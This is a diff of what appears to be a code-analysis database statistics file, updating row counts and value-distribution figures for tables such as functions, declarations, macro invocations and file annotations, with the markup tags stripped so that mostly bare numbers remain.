20677 + 20679 32 44 - 20481 + 20482 44 60 - 20144 + 20146 60 80 - 20284 + 20286 80 103 - 19948 + 19949 103 130 - 20088 + 20090 130 159 - 19892 + 19893 159 194 - 19948 + 19949 194 297 - 13495 + 13496 @@ -8862,62 +8872,62 @@ 1 2 - 32096 + 32099 2 3 - 21322 + 21324 3 4 - 15487 + 15488 4 6 - 22333 + 22334 6 8 - 18601 + 18602 8 11 - 22417 + 22418 11 16 - 23679 + 23681 16 21 - 22501 + 22503 21 28 - 22669 + 22671 28 35 - 21631 + 21633 35 43 - 21771 + 21773 43 61 - 17451 + 17452 @@ -8933,62 +8943,62 @@ 1 4 - 21799 + 21801 4 7 - 23932 + 23934 7 11 - 22781 + 22783 11 16 - 23763 + 23765 16 21 - 23904 + 23906 21 26 - 20565 + 20567 26 31 - 22080 + 22082 31 36 - 24100 + 24102 36 40 - 21463 + 21464 40 44 - 22613 + 22615 44 49 - 22753 + 22755 49 63 - 12204 + 12205 @@ -9004,22 +9014,22 @@ 1 2 - 138936 + 138947 2 3 - 61107 + 61112 3 4 - 37679 + 37682 4 6 - 19976 + 19977 6 @@ -9040,62 +9050,62 @@ 1 4 - 23146 + 23148 4 7 - 22725 + 22727 7 11 - 22417 + 22418 11 16 - 22136 + 22138 16 21 - 22445 + 22447 21 27 - 22866 + 22867 27 33 - 22473 + 22475 33 38 - 19751 + 19753 38 43 - 21294 + 21296 43 47 - 19948 + 19949 47 52 - 23034 + 23036 52 66 - 19667 + 19669 68 @@ -9496,67 +9506,67 @@ 1 5 - 22024 + 22026 5 9 - 22501 + 22503 9 15 - 21575 + 21577 15 23 - 20593 + 20595 23 32 - 21351 + 21352 32 44 - 20116 + 20118 44 60 - 19779 + 19781 60 80 - 20874 + 20875 80 103 - 19807 + 19809 103 130 - 20004 + 20005 130 159 - 19948 + 19949 159 193 - 19667 + 19669 193 296 - 13691 + 13692 @@ -9572,67 +9582,67 @@ 1 2 - 32096 + 32099 2 3 - 21238 + 21240 3 4 - 15487 + 15488 4 6 - 21912 + 21913 6 8 - 18405 + 18406 8 11 - 22501 + 22503 11 15 - 19779 + 19781 15 20 - 22809 + 22811 20 26 - 20453 + 20454 26 33 - 21912 + 21913 33 40 - 19892 + 19893 40 49 - 20032 + 20033 49 61 - 5414 + 5415 @@ -9648,27 +9658,27 @@ 1 2 - 130238 + 130248 2 3 - 68205 + 68210 3 4 - 40148 + 40152 4 6 - 21379 + 21380 6 11 - 1963 + 1964 @@ -9684,62 +9694,62 @@ 1 4 - 21603 + 21605 4 7 - 23820 + 23821 7 11 - 22501 + 22503 11 16 - 23679 + 23681 16 21 - 23623 + 23625 21 26 - 20677 + 20679 26 31 - 22276 + 22278 31 36 - 24072 + 24074 36 40 - 20874 + 20875 40 44 - 22585 + 22587 44 49 - 23146 + 23148 49 63 - 13074 + 13075 @@ -9755,62 +9765,62 @@ 1 4 - 23455 + 23457 4 7 - 22922 + 22924 7 11 - 22417 + 22418 11 16 - 23034 + 23036 16 21 - 21856 + 21857 21 26 - 19807 + 19809 26 32 - 22052 + 22054 32 38 - 23876 + 23878 38 43 - 22108 + 22110 43 47 - 19779 + 19781 47 52 - 22753 + 22755 52 69 - 17872 + 17873 @@ -10195,23 +10205,23 @@ numlines - 860994 + 809466 element_id - 859648 + 808340 num_lines - 40096 + 39522 num_code - 35925 + 34019 num_comment - 18029 + 18385 @@ -10225,12 +10235,12 @@ 1 2 - 858303 + 807215 2 3 - 1345 + 1125 @@ -10246,12 +10256,12 @@ 1 2 - 858303 + 807215 2 3 - 1345 + 1125 @@ -10267,12 +10277,12 @@ 1 2 - 859379 + 808090 2 3 - 269 + 250 @@ -10288,27 +10298,27 @@ 1 2 - 26910 + 26765 2 3 - 4709 + 3752 3 - 6 - 3229 + 5 + 3376 - 6 - 60 - 3229 + 5 + 37 + 3126 - 60 - 2025 - 2018 + 41 + 1978 + 2501 @@ -10324,27 +10334,27 @@ 1 2 - 27179 + 27265 2 3 - 5112 + 4127 3 - 5 - 3363 + 4 + 2501 - 5 - 8 - 3363 + 4 + 7 + 3502 - 8 + 7 12 - 1076 + 2126 @@ -10360,32 +10370,27 @@ 1 2 - 27044 + 26890 2 3 - 4978 + 4127 3 4 - 1614 + 2501 4 6 - 3229 + 3126 6 - 10 - 3094 - - - 10 11 - 134 + 2876 @@ -10401,27 +10406,32 @@ 1 2 - 23815 + 21637 2 3 - 4440 + 3752 3 - 8 - 3094 + 4 + 2376 - 8 - 86 - 2825 + 4 + 13 + 2876 - 86 - 2136 - 1749 + 14 + 197 + 2626 + + + 205 + 2101 + 750 @@ -10437,27 +10447,32 @@ 1 2 - 24084 + 22012 2 3 - 4305 + 3752 3 - 5 - 2556 + 4 + 2126 - 5 - 8 - 2691 + 4 + 6 + 1876 - 8 - 12 - 2287 + 6 + 9 + 2751 + + + 9 + 13 + 1500 @@ -10473,27 +10488,27 @@ 1 2 - 23950 + 21762 2 3 - 4574 + 4377 3 5 - 2556 + 2876 5 8 - 3094 + 3126 8 - 11 - 1749 + 12 + 1876 @@ -10509,32 +10524,32 @@ 1 2 - 10629 + 11381 2 3 - 1883 + 1751 3 4 - 1480 + 1500 4 - 6 - 1614 + 7 + 1375 8 22 - 1480 + 1500 - 32 - 3872 - 941 + 42 + 3650 + 875 @@ -10550,32 +10565,32 @@ 1 2 - 10629 + 11381 2 3 - 1883 + 1751 3 4 - 1480 + 1500 4 - 6 - 1614 + 7 + 1500 - 6 - 19 - 1480 + 8 + 27 + 1500 - 24 - 46 - 941 + 30 + 48 + 750 @@ -10591,32 +10606,32 @@ 1 2 - 10629 + 11381 2 3 - 1883 + 1751 3 4 - 1480 + 1751 4 - 6 - 1614 + 9 + 1500 - 6 - 20 - 1480 + 10 + 36 + 1625 - 20 + 36 43 - 941 + 375 @@ -10626,11 +10641,11 @@ diagnostics - 1590 + 1588 id - 1590 + 1588 severity @@ -10664,7 +10679,7 @@ 1 2 - 1590 + 1588 @@ -10680,7 +10695,7 @@ 1 2 - 1590 + 1588 @@ -10696,7 +10711,7 @@ 1 2 - 1590 + 1588 @@ -10712,7 +10727,7 @@ 1 2 - 1590 + 1588 @@ -10728,7 +10743,7 @@ 1 2 - 1590 + 1588 @@ -11183,15 +11198,15 @@ files - 83605 + 83260 id - 83605 + 83260 name - 83605 + 83260 @@ -11205,7 +11220,7 @@ 1 2 - 83605 + 83260 @@ -11221,7 +11236,7 @@ 1 2 - 83605 + 83260 @@ -11231,15 +11246,15 @@ folders - 15884 + 15818 id - 15884 + 15818 name - 15884 + 15818 @@ -11253,7 +11268,7 @@ 1 2 - 15884 + 15818 @@ -11269,7 +11284,7 @@ 1 2 - 15884 + 15818 @@ -11279,15 +11294,15 @@ containerparent - 99462 + 99052 parent - 15884 + 15818 child - 99462 + 99052 @@ -11301,42 +11316,42 @@ 1 2 - 7732 + 7700 2 3 - 1949 + 1941 3 4 - 853 + 849 4 6 - 1286 + 1281 6 10 - 1245 + 1240 10 16 - 1286 + 1281 16 44 - 1191 + 1186 44 151 - 338 + 337 @@ -11352,7 +11367,7 @@ 1 2 - 99462 + 99052 @@ -11362,23 +11377,23 @@ fileannotations - 5385298 + 5363077 id - 7393 + 7363 kind - 27 + 26 name - 75277 + 74967 value - 50659 + 50450 @@ -11392,12 +11407,12 @@ 1 2 - 257 + 256 2 3 - 7136 + 7106 @@ -11413,62 +11428,62 @@ 1 86 - 555 + 552 88 206 - 555 + 552 212 291 - 568 + 566 291 359 - 555 + 552 362 401 - 555 + 552 402 479 - 555 + 552 480 549 - 324 + 323 550 551 - 1706 + 1699 553 628 - 555 + 552 631 753 - 582 + 579 753 1231 - 568 + 566 1234 2155 - 311 + 310 @@ -11484,67 +11499,67 @@ 1 98 - 555 + 552 102 244 - 555 + 552 244 351 - 555 + 552 352 434 - 568 + 566 434 490 - 568 + 566 490 628 - 555 + 552 632 702 - 81 + 80 706 707 - 1706 + 1699 710 939 - 555 + 552 939 1038 - 555 + 552 1066 1853 - 555 + 552 1853 3292 - 555 + 552 3423 3742 - 27 + 26 @@ -11623,62 +11638,62 @@ 1 2 - 14137 + 14079 2 3 - 5592 + 5569 3 5 - 6486 + 6459 5 7 - 5254 + 5232 7 9 - 5890 + 5866 9 16 - 5552 + 5529 16 19 - 6269 + 6243 19 27 - 5457 + 5434 27 47 - 6202 + 6176 47 128 - 6310 + 6284 128 459 - 5931 + 5906 459 546 - 2193 + 2184 @@ -11694,7 +11709,7 @@ 1 2 - 75277 + 74967 @@ -11710,57 +11725,57 @@ 1 2 - 14855 + 14793 2 3 - 9858 + 9817 3 4 - 5254 + 5232 4 6 - 5213 + 5191 6 8 - 4387 + 4369 8 11 - 6080 + 6055 11 17 - 6919 + 6891 17 23 - 6026 + 6001 23 41 - 5998 + 5974 41 95 - 5728 + 5704 95 1726 - 4956 + 4935 @@ -11776,72 +11791,72 @@ 1 2 - 4306 + 4288 2 4 - 2098 + 2090 4 5 - 4089 + 4072 5 8 - 3155 + 3142 8 14 - 3805 + 3789 14 17 - 2478 + 2467 17 24 - 3899 + 3883 24 51 - 4536 + 4517 51 58 - 3886 + 3870 58 80 - 3818 + 3802 81 151 - 3954 + 3937 151 334 - 3818 + 3802 334 473 - 3845 + 3829 473 547 - 2965 + 2953 @@ -11857,7 +11872,7 @@ 1 2 - 50645 + 50436 2 @@ -11878,67 +11893,67 @@ 1 2 - 4360 + 4342 2 4 - 2451 + 2440 4 5 - 3913 + 3897 5 8 - 3182 + 3169 8 14 - 4468 + 4450 14 18 - 4428 + 4409 18 28 - 4103 + 4086 28 34 - 4035 + 4018 34 41 - 4103 + 4086 41 66 - 3832 + 3816 66 92 - 3940 + 3924 92 113 - 3832 + 3816 113 145 - 3886 + 3870 145 @@ -11953,15 +11968,15 @@ inmacroexpansion - 149563577 + 149575195 id - 24598516 + 24600427 inv - 3693134 + 3693421 @@ -11975,37 +11990,37 @@ 1 3 - 2201563 + 2201734 3 5 - 1470740 + 1470855 5 6 - 1615714 + 1615840 6 7 - 6563635 + 6564145 7 8 - 8693954 + 8694629 8 9 - 3546830 + 3547106 9 22 - 506076 + 506116 @@ -12021,32 +12036,32 @@ 1 2 - 528641 + 528682 2 3 - 741073 + 741131 3 4 - 480129 + 480166 4 7 - 274512 + 274533 7 8 - 281342 + 281364 8 9 - 329298 + 329323 9 @@ -12056,22 +12071,22 @@ 10 11 - 443373 + 443407 11 337 - 306914 + 306938 339 423 - 280946 + 280967 423 7616 - 23866 + 23868 @@ -12081,15 +12096,15 @@ affectedbymacroexpansion - 48595837 + 48599612 id - 7024503 + 7025049 inv - 3792196 + 3792491 @@ -12103,37 +12118,37 @@ 1 2 - 3835659 + 3835957 2 3 - 764103 + 764163 3 4 - 360802 + 360830 4 5 - 770516 + 770576 5 12 - 533623 + 533664 12 50 - 554669 + 554712 50 9900 - 205128 + 205144 @@ -12149,67 +12164,67 @@ 1 4 - 312348 + 312373 4 7 - 315698 + 315722 7 9 - 300223 + 300246 9 12 - 341953 + 341980 12 13 - 454694 + 454730 13 14 - 225450 + 225467 14 15 - 406866 + 406898 15 16 - 165950 + 165963 16 17 - 376592 + 376622 17 18 - 200060 + 200076 18 20 - 343266 + 343293 20 25 - 284573 + 284595 25 207 - 64516 + 64521 @@ -12219,23 +12234,23 @@ macroinvocations - 40584859 + 40422573 id - 40584859 + 40422573 macro_id - 109862 + 109396 location - 1069663 + 1065236 kind - 27 + 26 @@ -12249,7 +12264,7 @@ 1 2 - 40584859 + 40422573 @@ -12265,7 +12280,7 @@ 1 2 - 40584859 + 40422573 @@ -12281,7 +12296,7 @@ 1 2 - 40584859 + 40422573 @@ -12297,52 +12312,52 @@ 1 2 - 23508 + 23235 2 3 - 20420 + 20471 3 4 - 7488 + 7484 4 6 - 10102 + 10019 6 11 - 9452 + 9413 11 21 - 9181 + 9048 21 48 - 8246 + 8334 48 145 - 8300 + 8280 145 - 952 - 8246 + 955 + 8212 - 954 - 175299 - 4915 + 955 + 175302 + 4895 @@ -12358,37 +12373,37 @@ 1 2 - 60232 + 59970 2 3 - 13636 + 13580 3 4 - 6879 + 6850 4 6 - 8720 + 8684 6 13 - 9438 + 9399 13 67 - 8287 + 8253 67 4815 - 2667 + 2656 @@ -12404,12 +12419,12 @@ 1 2 - 101412 + 100980 2 3 - 8449 + 8415 @@ -12425,37 +12440,37 @@ 1 2 - 426438 + 424327 2 3 - 252604 + 251670 3 4 - 113153 + 112794 4 6 - 77471 + 77246 6 11 - 82725 + 81763 11 - 42 - 80423 + 41 + 80374 - 42 - 226288 - 36846 + 41 + 226300 + 37058 @@ -12471,12 +12486,12 @@ 1 2 - 1009240 + 1005062 2 367 - 60422 + 60173 @@ -12492,7 +12507,7 @@ 1 2 - 1069663 + 1065236 @@ -12506,13 +12521,13 @@ 12 - 22299 - 22300 + 22298 + 22299 13 - 2974755 - 2974756 + 2975140 + 2975141 13 @@ -12527,8 +12542,8 @@ 12 - 2369 - 2370 + 2368 + 2369 13 @@ -12548,8 +12563,8 @@ 12 - 7696 - 7697 + 7695 + 7696 13 @@ -12565,15 +12580,15 @@ macroparent - 35796528 + 35648322 id - 35796528 + 35648322 parent_id - 28048724 + 27932475 @@ -12587,7 +12602,7 @@ 1 2 - 35796528 + 35648322 @@ -12603,17 +12618,17 @@ 1 2 - 21849156 + 21758475 2 3 - 5172181 + 5150852 3 91 - 1027386 + 1023147 @@ -12623,15 +12638,15 @@ macrolocationbind - 5543165 + 5543583 id - 3881794 + 3882063 location - 2758367 + 2758591 @@ -12645,22 +12660,22 @@ 1 2 - 3056516 + 3056719 2 3 - 469825 + 469858 3 7 - 314905 + 314935 7 57 - 40546 + 40549 @@ -12676,22 +12691,22 @@ 1 2 - 2198082 + 2198268 2 3 - 239987 + 240004 3 8 - 216556 + 216571 8 723 - 103740 + 103748 @@ -12701,19 +12716,19 @@ macro_argument_unexpanded - 103210542 + 102782052 invocation - 31213446 + 31085973 argument_index - 893 + 890 text - 440087 + 438272 @@ -12727,22 +12742,22 @@ 1 2 - 9975421 + 9939829 2 3 - 12500006 + 12443923 3 4 - 6392927 + 6366751 4 67 - 2345090 + 2335468 @@ -12758,22 +12773,22 @@ 1 2 - 10209569 + 10173011 2 3 - 12521496 + 12465325 3 4 - 6193094 + 6167729 4 67 - 2289286 + 2279907 @@ -12789,16 +12804,16 @@ 46457 46458 - 785 + 782 46659 - 173178 + 173182 67 - 645273 - 2305008 + 645292 + 2305106 40 @@ -12815,7 +12830,7 @@ 2 3 - 785 + 782 13 @@ -12841,57 +12856,57 @@ 1 2 - 51999 + 51717 2 3 - 79963 + 79633 3 4 - 29669 + 29533 4 5 - 44429 + 44314 5 6 - 50198 + 49964 6 9 - 36575 + 36465 9 15 - 36833 + 36654 15 27 - 33501 + 33377 27 57 - 34111 + 33970 57 517 - 33231 + 33093 518 - 485091 - 9573 + 485092 + 9547 @@ -12907,17 +12922,17 @@ 1 2 - 311767 + 310481 2 3 - 115225 + 114749 3 9 - 13094 + 13040 @@ -12927,19 +12942,19 @@ macro_argument_expanded - 103210542 + 102782052 invocation - 31213446 + 31085973 argument_index - 893 + 890 text - 266579 + 265479 @@ -12953,22 +12968,22 @@ 1 2 - 9975421 + 9939829 2 3 - 12500006 + 12443923 3 4 - 6392927 + 6366751 4 67 - 2345090 + 2335468 @@ -12984,22 +12999,22 @@ 1 2 - 13757545 + 13706388 2 3 - 10785384 + 10736336 3 4 - 5401805 + 5379705 4 9 - 1268711 + 1263543 @@ -13015,16 +13030,16 @@ 46457 46458 - 785 + 782 46659 - 173178 + 173182 67 - 645273 - 2305008 + 645292 + 2305106 40 @@ -13041,7 +13056,7 @@ 1 2 - 771 + 768 2 @@ -13051,7 +13066,7 @@ 950 16176 - 54 + 53 @@ -13067,37 +13082,37 @@ 1 2 - 28288 + 28171 2 3 - 35140 + 34927 3 4 - 58486 + 58231 4 5 - 20556 + 20538 5 6 - 3994 + 3964 6 7 - 23305 + 23235 7 10 - 21761 + 21590 10 @@ -13107,17 +13122,17 @@ 19 51 - 20068 + 19931 51 253 - 20082 + 20053 254 - 990266 - 11957 + 990275 + 11894 @@ -13133,17 +13148,17 @@ 1 2 - 134725 + 134169 2 3 - 113993 + 113522 3 66 - 17861 + 17787 @@ -13153,19 +13168,19 @@ functions - 3352272 + 4015439 id - 3352272 + 4015439 name - 466018 + 1650451 kind - 343 + 1000 @@ -13179,7 +13194,7 @@ 1 2 - 3352272 + 4015439 @@ -13195,7 +13210,7 @@ 1 2 - 3352272 + 4015439 @@ -13211,22 +13226,17 @@ 1 2 - 372188 + 1403934 2 - 3 - 31791 - - - 3 - 9 - 35996 + 4 + 139330 - 9 - 4916 - 26042 + 4 + 3162 + 107186 @@ -13242,12 +13252,12 @@ 1 2 - 464774 + 1647574 2 - 4 - 1244 + 3 + 2876 @@ -13261,44 +13271,44 @@ 12 - 24 - 25 - 42 + 8 + 9 + 125 - 73 - 74 - 42 + 13 + 14 + 125 - 94 - 95 - 42 + 47 + 48 + 125 - 260 - 261 - 42 + 83 + 84 + 125 - 2421 - 2422 - 42 + 690 + 691 + 125 - 8450 - 8451 - 42 + 4450 + 4451 + 125 - 20508 - 20509 - 42 + 5230 + 5231 + 125 - 46305 - 46306 - 42 + 21584 + 21585 + 125 @@ -13312,44 +13322,44 @@ 12 - 7 - 8 - 42 + 2 + 3 + 125 - 24 - 25 - 42 + 13 + 14 + 125 - 40 - 41 - 42 + 18 + 19 + 125 - 57 - 58 - 42 + 41 + 42 + 125 - 94 - 95 - 42 + 43 + 44 + 125 - 460 - 461 - 42 + 302 + 303 + 125 - 631 - 632 - 42 + 504 + 505 + 125 - 9580 - 9581 - 42 + 12296 + 12297 + 125 @@ -13359,15 +13369,15 @@ function_entry_point - 1436670 + 1432100 id - 1431950 + 1427396 entry_point - 1436670 + 1432100 @@ -13381,12 +13391,12 @@ 1 2 - 1427917 + 1423376 2 17 - 4032 + 4020 @@ -13402,7 +13412,7 @@ 1 2 - 1436670 + 1432100 @@ -13412,15 +13422,15 @@ function_return_type - 3358579 + 4032949 id - 3352272 + 4015439 return_type - 630940 + 623609 @@ -13434,12 +13444,12 @@ 1 2 - 3346480 + 3997929 2 - 5 - 5791 + 3 + 17510 @@ -13455,22 +13465,27 @@ 1 2 - 436372 + 313305 2 3 - 120258 + 213748 3 - 6 - 51999 + 5 + 48527 - 6 - 36283 - 22309 + 5 + 354 + 46776 + + + 358 + 9897 + 1250 @@ -13750,59 +13765,59 @@ purefunctions - 137889 + 138705 id - 137889 + 138705 function_deleted - 94386 + 94271 id - 94386 + 94271 function_defaulted - 55377 + 55310 id - 55377 + 55310 function_prototyped - 3348154 + 4013938 id - 3348154 + 4013938 deduction_guide_for_class - 6323 + 5878 id - 6323 + 5878 class_template - 2421 + 2251 @@ -13816,7 +13831,7 @@ 1 2 - 6323 + 5878 @@ -13832,32 +13847,32 @@ 1 2 - 1210 + 1125 2 3 - 403 + 375 3 4 - 134 + 125 4 5 - 269 + 250 5 6 - 134 + 125 8 9 - 269 + 250 @@ -13867,15 +13882,15 @@ member_function_this_type - 673500 + 841186 id - 673500 + 841186 this_type - 233223 + 239923 @@ -13889,7 +13904,7 @@ 1 2 - 673500 + 841186 @@ -13905,32 +13920,37 @@ 1 2 - 82718 + 73730 2 3 - 61051 + 70223 3 4 - 36468 + 33743 4 5 - 16904 + 15396 5 7 - 19177 + 21854 7 - 66 - 16904 + 13 + 18903 + + + 13 + 530 + 6072 @@ -13940,27 +13960,27 @@ fun_decls - 3388097 + 4160522 id - 3384193 + 4154519 function - 3227852 + 3990925 type_id - 599963 + 615604 name - 461385 + 1648950 location - 931093 + 2773098 @@ -13974,7 +13994,7 @@ 1 2 - 3384193 + 4154519 @@ -13990,12 +14010,12 @@ 1 2 - 3380803 + 4148516 2 - 5 - 3389 + 3 + 6003 @@ -14011,7 +14031,7 @@ 1 2 - 3384193 + 4154519 @@ -14027,7 +14047,7 @@ 1 2 - 3384193 + 4154519 @@ -14043,12 +14063,12 @@ 1 2 - 3097640 + 3840713 2 - 7 - 130212 + 4 + 150211 @@ -14064,12 +14084,12 @@ 1 2 - 3217512 + 3972414 2 - 5 - 10339 + 3 + 18510 @@ -14085,7 +14105,7 @@ 1 2 - 3227852 + 3990925 @@ -14101,12 +14121,12 @@ 1 2 - 3142645 + 3847467 2 - 6 - 85206 + 4 + 143457 @@ -14122,22 +14142,27 @@ 1 2 - 396515 + 298547 2 3 - 127080 + 220627 3 - 6 - 53286 + 5 + 48903 - 6 - 37538 - 23082 + 5 + 354 + 46276 + + + 358 + 10246 + 1250 @@ -14153,22 +14178,27 @@ 1 2 - 414834 + 308677 2 3 - 112579 + 211872 3 - 6 - 52213 + 5 + 48527 - 6 - 35946 - 20336 + 5 + 1033 + 46276 + + + 1483 + 9847 + 250 @@ -14184,22 +14214,22 @@ 1 2 - 471982 + 495160 2 3 - 73322 + 52780 3 7 - 45091 + 51154 7 - 3213 - 9567 + 2211 + 16509 @@ -14215,22 +14245,22 @@ 1 2 - 440705 + 458514 2 3 - 90097 + 69540 3 6 - 51312 + 55907 6 - 7079 - 17847 + 4728 + 31643 @@ -14246,27 +14276,22 @@ 1 2 - 347175 + 1299248 2 3 - 37926 + 184106 3 - 6 - 37540 - - - 6 - 110 - 34709 + 10 + 125697 - 110 - 4996 - 4032 + 10 + 3169 + 39897 @@ -14282,22 +14307,17 @@ 1 2 - 368842 + 1403433 2 - 3 - 32006 - - - 3 - 9 - 35567 + 4 + 139705 - 9 - 4900 - 24969 + 4 + 3162 + 105810 @@ -14313,12 +14333,12 @@ 1 2 - 426933 + 1558773 2 - 3435 - 34451 + 1596 + 90176 @@ -14334,22 +14354,17 @@ 1 2 - 355027 + 1323637 2 3 - 50669 + 208745 3 - 6 - 35738 - - - 6 - 1706 - 19950 + 1592 + 116567 @@ -14365,22 +14380,17 @@ 1 2 - 735882 + 2392879 2 3 - 90140 + 238012 3 - 13 - 70533 - - - 13 - 1516 - 34537 + 211 + 142206 @@ -14396,22 +14406,17 @@ 1 2 - 776726 + 2396631 2 - 4 - 73150 - - - 4 - 66 - 70919 + 3 + 234760 - 66 - 1516 - 10296 + 3 + 211 + 141706 @@ -14427,17 +14432,12 @@ 1 2 - 853223 + 2657656 2 - 19 - 70190 - - - 19 - 1509 - 7679 + 211 + 115441 @@ -14453,12 +14453,12 @@ 1 2 - 883556 + 2733825 2 - 10 - 47537 + 8 + 39272 @@ -14468,48 +14468,48 @@ fun_def - 1590007 + 1584950 id - 1590007 + 1584950 fun_specialized - 8499 + 8434 id - 8499 + 8434 fun_implicit - 273 + 271 id - 273 + 271 fun_decl_specifiers - 2464627 + 4106992 id - 1197795 + 1690224 name - 327 + 1375 @@ -14523,22 +14523,22 @@ 1 2 - 267566 + 361958 2 3 - 596795 + 262776 3 4 - 330266 + 1042475 4 5 - 3167 + 23013 @@ -14552,34 +14552,59 @@ 12 - 753 - 754 - 54 + 15 + 16 + 125 - 2861 - 2862 - 54 + 19 + 20 + 125 - 6284 - 6285 - 54 + 224 + 225 + 125 - 6559 - 6560 - 54 + 261 + 262 + 125 - 6738 - 6739 - 54 + 546 + 547 + 125 - 21931 - 21932 - 54 + 826 + 827 + 125 + + + 1032 + 1033 + 125 + + + 1089 + 1090 + 125 + + + 7668 + 7669 + 125 + + + 10543 + 10544 + 125 + + + 10614 + 10615 + 125 @@ -14710,26 +14735,26 @@ fun_decl_empty_throws - 435248 + 436983 fun_decl - 435248 + 436983 fun_decl_noexcept - 178607 + 178039 fun_decl - 178607 + 178039 constant - 178007 + 177440 @@ -14743,7 +14768,7 @@ 1 2 - 178607 + 178039 @@ -14759,12 +14784,12 @@ 1 2 - 177449 + 176884 2 4 - 557 + 555 @@ -14774,22 +14799,22 @@ fun_decl_empty_noexcept - 1063897 + 1165171 fun_decl - 1063897 + 1165171 fun_decl_typedef_type - 2798 + 2796 fun_decl - 2798 + 2796 typedeftype_id @@ -14807,7 +14832,7 @@ 1 2 - 2798 + 2796 @@ -14883,11 +14908,11 @@ fun_requires - 31193 + 31155 id - 10835 + 10822 kind @@ -14895,7 +14920,7 @@ constraint - 30939 + 30901 @@ -14909,7 +14934,7 @@ 1 2 - 10766 + 10753 2 @@ -14930,17 +14955,17 @@ 1 2 - 7792 + 7783 2 3 - 530 + 529 3 6 - 922 + 921 6 @@ -14950,7 +14975,7 @@ 13 14 - 1221 + 1220 19 @@ -15013,7 +15038,7 @@ 1 2 - 30685 + 30648 2 @@ -15034,7 +15059,7 @@ 1 2 - 30939 + 30901 @@ -15044,19 +15069,19 @@ param_decl_bind - 4864195 + 7198273 id - 4864195 + 7198273 index - 858 + 8004 fun_decl - 2661010 + 3482131 @@ -15070,7 +15095,7 @@ 1 2 - 4864195 + 7198273 @@ -15086,7 +15111,7 @@ 1 2 - 4864195 + 7198273 @@ -15100,74 +15125,34 @@ 12 - 1 - 2 - 300 - - - 3 - 4 - 42 - - - 5 - 6 - 42 - - - 7 - 8 - 42 - - - 17 - 18 - 42 - - - 39 - 40 - 42 - - - 94 - 95 - 42 - - - 318 - 319 - 42 - - - 636 - 637 - 42 + 2 + 3 + 4002 - 1415 - 1416 - 42 + 6 + 7 + 2001 - 4122 - 4123 - 42 + 16 + 20 + 625 - 14573 - 14574 - 42 + 25 + 143 + 625 - 30116 - 30117 - 42 + 332 + 15841 + 625 - 62023 - 62024 - 42 + 27841 + 27842 + 125 @@ -15181,74 +15166,34 @@ 12 - 1 - 2 - 300 - - - 3 - 4 - 42 - - - 5 - 6 - 42 - - - 7 - 8 - 42 - - - 17 - 18 - 42 - - - 39 - 40 - 42 - - - 94 - 95 - 42 - - - 318 - 319 - 42 - - - 636 - 637 - 42 + 2 + 3 + 4002 - 1415 - 1416 - 42 + 6 + 7 + 2001 - 4122 - 4123 - 42 + 16 + 20 + 625 - 14573 - 14574 - 42 + 25 + 143 + 625 - 30116 - 30117 - 42 + 332 + 15841 + 625 - 62023 - 62024 - 42 + 27841 + 27842 + 125 @@ -15264,22 +15209,27 @@ 1 2 - 1368925 + 1500990 2 3 - 666850 + 957927 3 4 - 448385 + 580584 4 - 21 - 176848 + 5 + 283413 + + + 5 + 65 + 159216 @@ -15295,22 +15245,27 @@ 1 2 - 1368925 + 1500990 2 3 - 666850 + 957927 3 4 - 448385 + 580584 4 - 21 - 176848 + 5 + 283413 + + + 5 + 65 + 159216 @@ -15320,27 +15275,27 @@ var_decls - 6739140 + 9254083 id - 6734162 + 9247204 variable - 6565972 + 8956662 type_id - 1513164 + 1464093 name - 829105 + 853366 location - 3605573 + 6211705 @@ -15354,7 +15309,7 @@ 1 2 - 6734162 + 9247204 @@ -15370,12 +15325,12 @@ 1 2 - 6729183 + 9240325 2 3 - 4978 + 6878 @@ -15391,7 +15346,7 @@ 1 2 - 6734162 + 9247204 @@ -15407,7 +15362,7 @@ 1 2 - 6734162 + 9247204 @@ -15423,12 +15378,12 @@ 1 2 - 6408951 + 8679127 2 4 - 157021 + 277534 @@ -15444,12 +15399,12 @@ 1 2 - 6551441 + 8917889 2 3 - 14531 + 38772 @@ -15465,12 +15420,12 @@ 1 2 - 6548750 + 8850851 2 - 3 - 17222 + 4 + 105810 @@ -15486,12 +15441,12 @@ 1 2 - 6434919 + 8704516 2 4 - 131053 + 252145 @@ -15507,27 +15462,27 @@ 1 2 - 890191 + 855743 2 3 - 294129 + 285289 3 5 - 133205 + 128198 5 - 12 - 116521 + 11 + 113065 - 12 - 1800 - 79116 + 11 + 2767 + 81797 @@ -15543,27 +15498,27 @@ 1 2 - 909432 + 876129 2 3 - 280539 + 270781 3 5 - 129169 + 123571 5 - 12 - 116386 + 11 + 113065 - 12 - 1756 - 77636 + 11 + 2682 + 80546 @@ -15579,22 +15534,22 @@ 1 2 - 1159967 + 1126274 2 3 - 207747 + 193361 3 7 - 115983 + 115316 7 - 981 - 29466 + 1038 + 29141 @@ -15610,27 +15565,27 @@ 1 2 - 1026357 + 992071 2 3 - 228602 + 219376 3 - 5 - 112484 + 6 + 134202 - 5 - 17 - 114368 + 6 + 95 + 109938 - 17 - 1756 - 31350 + 97 + 2570 + 8504 @@ -15646,32 +15601,32 @@ 1 2 - 458012 + 466393 2 3 - 157021 + 165970 3 4 - 58126 + 60159 4 7 - 65391 + 66038 7 - 28 - 62835 + 25 + 64537 - 28 - 6409 - 27717 + 25 + 26622 + 30267 @@ -15687,32 +15642,32 @@ 1 2 - 471871 + 479276 2 3 - 156348 + 165220 3 4 - 51936 + 55031 4 8 - 69832 + 71916 8 - 47 - 62566 + 45 + 64036 - 47 - 6264 - 16549 + 45 + 26187 + 17885 @@ -15728,22 +15683,22 @@ 1 2 - 640195 + 655627 2 3 - 101451 + 110563 3 - 10 - 62970 + 11 + 65412 - 10 - 3216 - 24488 + 11 + 3460 + 21762 @@ -15759,27 +15714,27 @@ 1 2 - 487748 + 493659 2 3 - 170072 + 183480 3 4 - 51802 + 52405 4 8 - 63373 + 65287 8 - 1866 - 56107 + 22104 + 58533 @@ -15795,17 +15750,12 @@ 1 2 - 3120919 + 5763571 2 - 4 - 290630 - - - 4 - 2758 - 194023 + 2943 + 448133 @@ -15821,17 +15771,12 @@ 1 2 - 3145811 + 5787585 2 - 5 - 299780 - - - 5 - 2752 - 159981 + 2935 + 424119 @@ -15847,17 +15792,12 @@ 1 2 - 3313058 + 5927416 2 - 13 - 271524 - - - 13 - 2391 - 20990 + 2555 + 284288 @@ -15873,12 +15813,12 @@ 1 2 - 3594540 + 6199197 2 5 - 11033 + 12507 @@ -15888,37 +15828,37 @@ var_def - 3747525 + 3714015 id - 3747525 + 3714015 var_specialized - 691 + 690 id - 691 + 690 var_decl_specifiers - 487076 + 489532 id - 487076 + 489532 name - 538 + 500 @@ -15932,7 